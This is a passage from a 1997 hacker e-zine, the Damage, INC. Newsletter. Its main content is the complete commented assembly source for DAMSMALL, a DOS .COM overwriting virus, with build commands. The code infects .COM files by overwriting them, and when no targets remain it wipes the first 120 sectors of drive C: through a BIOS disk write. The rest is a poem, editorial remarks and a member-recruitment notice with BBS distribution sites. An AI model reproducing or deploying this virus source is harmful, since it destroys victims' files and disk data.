B.B.S.es ON THE INTERNET
www.digitalis.net/~messer/bbs/
THE WORLD OF B.B.S.ing
www-scf.usc.edu/~thuyenqu/bbsing.htm
SOURCE AND SCRIPTS - {SOURCE}
Virus Name: DAMSMALL
Variants: None
Status: New
Written: December 1997
Symptoms: Infected .COM files, C: is nuked if activated
Origin: Canada
Length: 90 to 105 bytes (with nuke procedure)
Type Code: .COM Infector
Detection Method: F-PROT Heuristics
Removal Instructions: Delete all infected files. They cannot be cleaned since
the start of their code is overwritten.
General Comments: The DAMSMALL virus infects .COM files by overwriting them.
It alters the date/time stamp of infected files but doesn't
increase their size. The infected files simply become a copy
of the actual virus (the first 90-105 bytes). The virus will
activate the nuke procedure when there aren't any .COM files
in the current directory to infect. Upon activation, it will
nuke the first 120 sectors of drive C: and then halt the CPU.
It's a very small, simple virus. There are no variants of
the DAMSMALL virus. I'm releasing the commented source code
so that readers can use it as a learning tool.
-------------------------------------------------------------------------------
; [DAMSMALL] virus (105 bytes)
; Written by BLACKENED of Damage, INC. (C)opyright 1997.
; TASM /M DAMSMALL.ASM TLINK /T DAMSMALL.OBJ to assemble.
code segment
assume ds:code, ss:code, cs:code, es:code
org 100h ;All COM files start here
virus_length equ finish - start ;Length of the virus
start label near
damage proc near
id db 'DI' ;The virus ID is DI which stands
;for Damage, INC.
damage endp
main proc near
mov ah,4eh ;Find first file function
mov cx,00100111b ;CX holds attribute mask
mov dx,offset filespec ;DX points to *.COM files
findlp:
int 21h ;Call DOS to execute function
jb nuke ;Nuke if there are no COM files
call infect ;Attempt to infect the file.
jne exit ;Exit if we were successful.
mov ah,4fh ;Find next file function
jmp short findlp ;Repeat process
exit:
mov ax,04C00h ;Terminate program
int 21h ;Return to DOS
main endp
nuke proc near
cli ;Prevent all interrupts
mov ah,03 ;BIOS write sectors
mov al,120 ;Number of sectors to nuke
mov ch,00 ;Cylinder
mov cl,01 ;Sector number
mov dh,00 ;Head number
mov dl,80h ;Drive C:
int 13h
hlt ;Halt CPU
nuke endp
infect proc near
mov ax,3d02h ;DOS Open the file
mov dx,80h+1eh ;Moves filename into dx
int 21h ;Execute function
xchg bx,ax ;Save handle to BX
mov ah,3Fh ;DOS Read from file function
mov cx,2 ;CX holds 2 bytes to read
mov dx,offset holdit ;DX points to holdit buffer
int 21h
cmp word ptr [holdit],4944h ;Are the two bytes "DI"?
pushf ;Save flags
je close ;Yes, close the infected file.
xor dx,dx ;Zero DX
xor cx,cx ;Zero CX
mov ax,4200h ;File seek function at
int 21h ;the start.
mov ah,40h ;DOS Write file function
mov dx,offset start ;DX points to start of code
mov cx,virus_length ;Put size of virus in CX
int 21h ;Write virus into file
close:
mov ah,3eh ;DOS Close file function
int 21h ;The file is now infected and closed
popf ;Restore flags
ret ;Return
holdit dw ? ;Buffer used to hold first 2 bytes
infect endp
filespec db '*.COM',0 ;File type is *.COM
finish label near
code ends
end damage
-------------------------------------------------------------------------------
THOUGHTS, POEMS AND CREATIVE WRITING - {WRITING}
Awakening:
I traverse into the darkness, like a soldier on a search and destroy mission
that's encompassed by the jungle of Vietnam. Stealthfully I journey onward
towards the source of my own existence, limitations and ultimate downfall.
As I look into the blinding blackness, I find the enemy within. My mind
is now clear and sound. The obscure, disturbing thoughts have faded to black
and I realize the true meaning of my discovery.
Everyone has an enemy within them. To contemplate its destruction, you must
understand its purpose. To comprehend its purpose you must know how the
enemy attacks your own thoughts and lives in your inner being.
The enemy devours creativity, innovativeness, individualism and free thought.
It preys upon your weakness and drains your ideas and opinions away.
True freedom can only be obtained by making a conscious decision not to
conform. Fight against control. Break free of the shackles that bind you
and experience reality.
Self-awakening cannot be explained. To achieve enlightenment, you must define
your own uniqueness and live by it. Eliminate the enemy and you will be free.
* * *
Someone once said that nothing you say hasn't already been said. Poetry
disproves that statement. It demonstrates that the written word can be used
in different combinations to convey an idea, message or simple thought. The
power of it lies in the way the words are expressed. That is what makes each
poem unique. If you found this short poem to be interesting and thought
provoking, then that's great. If not, then perhaps you weren't able to grasp
the symbolism and meaning. This section is a recent addition to the
Damage, INC. Newsletter. The poem above was written by BLACKENED. We will
also publish interesting, thought provoking poems that are sent to us by our
readers. The frequency and status of this new section are in question at this
point in time. In other words, the determining factor is the amount of quality
material that we have to work with. Therefore, this section might not exist
in every issue of the Damage, INC. Newsletter.
Written by BLACKENED ú Damage, INC. (C)opyright 1997.
CLOSING COMMENTS - {CLOSING}
BLACKENED's Hostile Closing Comments:
Damage, INC. is proud of the Damage, INC. Newsletter and this December issue.
I'm personally pleased with the overall results we've achieved after many hours
of dedicated work. I honestly hope that you enjoy reading what we've written.
Also, we want you to let us know if you've learned anything, used any of the
information that we've shared, or put a technique into practice.
I admit, not every paragraph is eloquently written and our articles aren't all
literary classics by any means, but we *always* strive for excellence. Quality
is extremely important to us. We try to have a theme for each issue. In fact,
we believe that nothing else should be allowed to outweigh the actual message.
That is why most of our time is spent making sure a clear message is presented
to the readers. The majority of the information in this issue is geared towards
h/p newbies. However, that will change in the future. More advanced h/p
related tips, methods, techniques etc. will be included for those that already
have some knowledge and experience... and haven't just entered the h/p scene.
If you aren't a newbie don't despair, continue reading the Damage, INC.
Newsletter. In the meantime, you can become involved and contribute. That'll
speed up the process of educating newbies, and we can then move forward. Last
but not least, have a happy fucking New Year! ;)
We're still looking for Writers, Members and Distribution Sites. If you'd like
to apply to Damage, INC. and join a respected h/p group, then download a copy of
the Damage, INC. Application Generator. If you want any of our releases, they
are currently available on the following boards:
...AND JUSTICE FOR ALL - Damage, INC. WHQ, h/p/a/c/v/t, no ratios, invite only.
Freedom of Information Archives - Damage, INC. Dist. Site, h/p/a/c/v/t.
Distraught Continuum - h/p/a/c/v/t, programming, etc.
Any feedback or letters to the editor should be sent to BLACKENED in Email on
on a Damage, INC. board near you. I can also be contacted via Echomail/Netmail
in several nets.
- EOF
